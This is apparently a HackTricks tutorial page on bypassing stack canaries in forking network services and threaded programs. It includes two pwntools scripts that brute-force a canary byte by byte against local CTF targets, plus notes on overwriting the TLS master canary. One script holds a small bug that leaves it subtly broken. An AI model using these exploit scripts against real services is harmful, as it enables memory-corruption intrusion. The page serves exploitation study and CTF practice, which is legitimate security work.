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135 lines
6.3 KiB
Markdown
135 lines
6.3 KiB
Markdown
# BF Forked & Threaded Stack Canaries
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
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![](<../../../.gitbook/assets/image (865).png>)
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{% hint style="info" %}
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Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
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However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
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{% endhint %}
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## Brute force Canary
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The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
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Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
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### Example 1
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This example is implemented for 64bits but could be easily implemented for 32 bits.
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```python
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from pwn import *
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def connect():
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r = remote("localhost", 8788)
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def get_bf(base):
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canary = ""
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guess = 0x0
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base += canary
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while len(canary) < 8:
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while guess != 0xff:
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r = connect()
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r.recvuntil("Username: ")
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r.send(base + chr(guess))
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if "SOME OUTPUT" in r.clean():
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print "Guessed correct byte:", format(guess, '02x')
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canary += chr(guess)
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base += chr(guess)
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guess = 0x0
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r.close()
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break
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else:
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guess += 1
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r.close()
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print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
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return base
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canary_offset = 1176
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base = "A" * canary_offset
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print("Brute-Forcing canary")
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base_canary = get_bf(base) #Get yunk data + canary
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CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
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```
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### Example 2
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This is implemented for 32 bits, but this could be easily changed to 64bits.\
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Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
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```python
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from pwn import *
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# Here is the function to brute force the canary
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def breakCanary():
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known_canary = b""
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test_canary = 0x0
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len_bytes_to_read = 0x21
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for j in range(0, 4):
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# Iterate up to 0xff times to brute force all posible values for byte
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for test_canary in range(0xff):
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print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
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# Send the current input size
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target.send(len_bytes_to_read.to_bytes(1, "little"))
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# Send this iterations canary
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target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
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# Scan in the output, determine if we have a correct value
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output = target.recvuntil(b"exit.")
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if b"YUM" in output:
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# If we have a correct value, record the canary value, reset the canary value, and move on
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print(" - next byte is: " + hex(test_canary))
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known_canary = known_canary + test_canary.to_bytes(1, "little")
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len_bytes_to_read += 1
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break
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# Return the canary
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return known_canary
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# Start the target process
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target = process('./feedme')
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#gdb.attach(target)
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# Brute force the canary
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canary = breakCanary()
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log.info(f"The canary is: {canary}")
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```
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## Threads
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Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens. 
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Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
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As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
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This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
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Check also the presentation of [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
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## Other examples & references
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
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* 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
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